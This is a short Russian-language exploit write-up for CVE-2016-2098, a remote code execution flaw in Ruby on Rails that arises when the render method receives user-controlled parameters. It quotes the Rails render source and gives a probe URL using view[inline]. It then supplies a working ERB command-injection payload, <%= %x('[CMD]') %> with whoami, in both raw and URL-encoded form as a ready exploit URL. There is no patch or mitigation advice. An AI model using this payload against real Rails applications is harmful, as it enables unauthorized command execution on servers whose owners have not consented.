
Уязвимость удаленного выполнения кода в Ruby-on-Rails при использовании render на данных, предоставленных пользователем.
Уязвимость удалённого выполнения кода в Ruby-on-Rails при использовании render на пользовательских данных.
Эта проблема возникает из-за использования метода render на пользовательских данных.
Метод render обычно используется для отображения страницы из шаблона, но метод render также позволяет разработчикам отображать простой текст (plaintext) и даже встроенный код (inline).
Функция render:
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
Целевой URL:
http://example.com/?view=test
Эксплуатация:
http://example.com/?view[inline]=OK
Если 'OK' отображается в исходном коде, то веб-приложение уязвимо к CVE-2016-2098.
<%= %x('[CMD]') %>
Мы можем заменить CMD на нашу команду, которую хотим выполнить.
<%= %x('whoami') %>
После URL-кодирования:
%3C%25=%20%25x(whoami)%20%25%3E
Итог:
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E